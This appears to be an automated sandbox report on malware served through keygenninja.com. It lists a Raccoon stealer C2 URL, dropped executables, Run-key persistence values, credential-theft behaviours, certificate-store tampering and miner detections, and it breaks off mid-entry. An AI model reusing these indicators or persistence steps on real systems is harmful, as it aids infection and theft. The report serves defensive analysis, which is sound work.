Resubmissions
01-04-2021 13:01
210401-rv1sa3x2hx 1001-04-2021 05:31
210401-xss4g3z83s 1031-03-2021 20:15
210331-ejt2g4wjex 10Analysis
-
max time kernel
1685s -
max time network
1696s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
31-03-2021 20:15
Static task
static1
URLScan task
urlscan1
Sample
https://keygenninja.com/
Behavioral task
behavioral1
Sample
https://keygenninja.com/
Resource
win10v20201028
Behavioral task
behavioral2
Sample
https://keygenninja.com/
Resource
win10v20201028
Behavioral task
behavioral3
Sample
https://keygenninja.com/
Resource
win10v20201028
Behavioral task
behavioral4
Sample
https://keygenninja.com/
Resource
win7v20201028
General
-
Target
https://keygenninja.com/
-
Sample
210331-ejt2g4wjex
Malware Config
Extracted
raccoon
4ce8ad65ffaa0dffa8cc56e03b4fd65c31c1a91d
-
url4cnc
https://telete.in/j90dadarobin
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
XMRig Miner Payload 3 IoCs
Processes:
resource yara_rule behavioral4/memory/2500-571-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral4/memory/2500-618-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral4/memory/2500-620-0x0000000140000000-0x000000014070A000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
Processes:
msiexec.exeflow pid process 205 2500 msiexec.exe 253 2500 msiexec.exe -
Executes dropped EXE 27 IoCs
Processes:
keygen-pr.exekeygen-step-1.exekeygen-step-3.exekeygen-step-2.exekeygen-step-4.exeSetup.exekey.exekey.exeE50C.tmp.exeaskinstall20.exefile.exe1C49.tmp.exe1CB7.tmp.exe1C49.tmp.exemd2_2efs.exeBTRSetp.exe6901761.exe2389410.exe1074809.exe6528735.exegcttt.exejfiag3g_gg.exejfiag3g_gg.exeWindows Host.exe1074809.exejfiag3g_gg.exejfiag3g_gg.exepid process 2348 keygen-pr.exe 2544 keygen-step-1.exe 896 keygen-step-3.exe 1436 keygen-step-2.exe 2940 keygen-step-4.exe 1708 Setup.exe 2500 key.exe 2912 key.exe 2248 E50C.tmp.exe 2532 askinstall20.exe 2852 file.exe 1284 1C49.tmp.exe 2100 1CB7.tmp.exe 2448 1C49.tmp.exe 456 md2_2efs.exe 2464 BTRSetp.exe 2632 6901761.exe 1168 2389410.exe 3008 1074809.exe 284 6528735.exe 1404 gcttt.exe 2080 jfiag3g_gg.exe 1648 jfiag3g_gg.exe 928 Windows Host.exe 2216 1074809.exe 2220 jfiag3g_gg.exe 1148 jfiag3g_gg.exe -
Loads dropped DLL 56 IoCs
Processes:
cmd.exekeygen-step-4.exekeygen-pr.exekey.exekeygen-step-2.exeE50C.tmp.exefile.exegcttt.exe2389410.exepid process 2680 cmd.exe 2680 cmd.exe 2680 cmd.exe 2680 cmd.exe 2680 cmd.exe 2680 cmd.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2348 keygen-pr.exe 2348 keygen-pr.exe 2348 keygen-pr.exe 2348 keygen-pr.exe 2500 key.exe 1436 keygen-step-2.exe 1436 keygen-step-2.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2248 E50C.tmp.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2852 file.exe 2852 file.exe 2852 file.exe 2248 E50C.tmp.exe 2248 E50C.tmp.exe 2248 E50C.tmp.exe 2248 E50C.tmp.exe 2248 E50C.tmp.exe 2248 E50C.tmp.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 2940 keygen-step-4.exe 1404 gcttt.exe 1404 gcttt.exe 1404 gcttt.exe 1404 gcttt.exe 1168 2389410.exe 1168 2389410.exe 1404 gcttt.exe 1404 gcttt.exe 1404 gcttt.exe 1404 gcttt.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
1CB7.tmp.exegcttt.exe2389410.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\wwwupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\wwwupdat3.exe" 1CB7.tmp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gcttt.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe" 2389410.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1CB7.tmp.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 1 IoCs
Processes:
askinstall20.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\colgdlijdieibnaccfdcdbpdffofkfeb\6.37.18_0\manifest.json askinstall20.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 198 api.ipify.org 221 ip-api.com -
Suspicious use of SetThreadContext 5 IoCs
Processes:
key.exe1CB7.tmp.exe1C49.tmp.exe1074809.exedescription pid process target process PID 2500 set thread context of 2912 2500 key.exe key.exe PID 2100 set thread context of 2172 2100 1CB7.tmp.exe msiexec.exe PID 1284 set thread context of 2448 1284 1C49.tmp.exe 1C49.tmp.exe PID 2100 set thread context of 2500 2100 1CB7.tmp.exe msiexec.exe PID 3008 set thread context of 2216 3008 1074809.exe 1074809.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
1C49.tmp.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 1C49.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 1C49.tmp.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 2980 timeout.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
xcopy.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 2520 taskkill.exe -
Modifies data under HKEY_USERS 62 IoCs
Processes:
file.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\PegasPc file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs file.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\MigrateProxy = "1" file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD} file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates file.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 file.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionTime = b02f878a6a26d701 file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs file.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDetectedUrl file.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" file.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\WpadNetworkName = "Network" file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs file.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\32-e2-17-db-d2-77 file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77 file.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecision = "0" file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates file.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\WpadDecisionTime = b02f878a6a26d701 file.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\WpadDecision = "0" file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections file.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C88B0D75-95D7-40B2-89BD-4A3AD4DC11FD}\WpadDecisionReason = "1" file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings file.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionReason = "1" file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates file.exe -
Processes:
askinstall20.exekeygen-step-2.exeSetup.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 askinstall20.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e askinstall20.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 keygen-step-2.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e keygen-step-2.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e keygen-step-2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Setup.exe -
Runs ping.exe 1 TTPs 3 IoCs
Processes:
PING.EXEPING.EXEPING.EXEpid process 2724 PING.EXE 3044 PING.EXE 1952 PING.EXE -
Suspicious behavior: EnumeratesProcesses 27 IoCs
Processes:
chrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exekey.exechrome.exechrome.exefile.exe1C49.tmp.exejfiag3g_gg.exe6901761.exe6528735.exe1074809.exejfiag3g_gg.exejfiag3g_gg.exepid process 1644 chrome.exe 1924 chrome.exe 1924 chrome.exe 2608 chrome.exe 540 chrome.exe 484 chrome.exe 960 chrome.exe 2068 chrome.exe 1924 chrome.exe 1924 chrome.exe 2500 key.exe 2500 key.exe 2156 chrome.exe 2156 chrome.exe 2956 chrome.exe 2852 file.exe 2852 file.exe 2852 file.exe 2852 file.exe 2448 1C49.tmp.exe 1648 jfiag3g_gg.exe 2632 6901761.exe 284 6528735.exe 2632 6901761.exe 2216 1074809.exe 2220 jfiag3g_gg.exe 1148 jfiag3g_gg.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
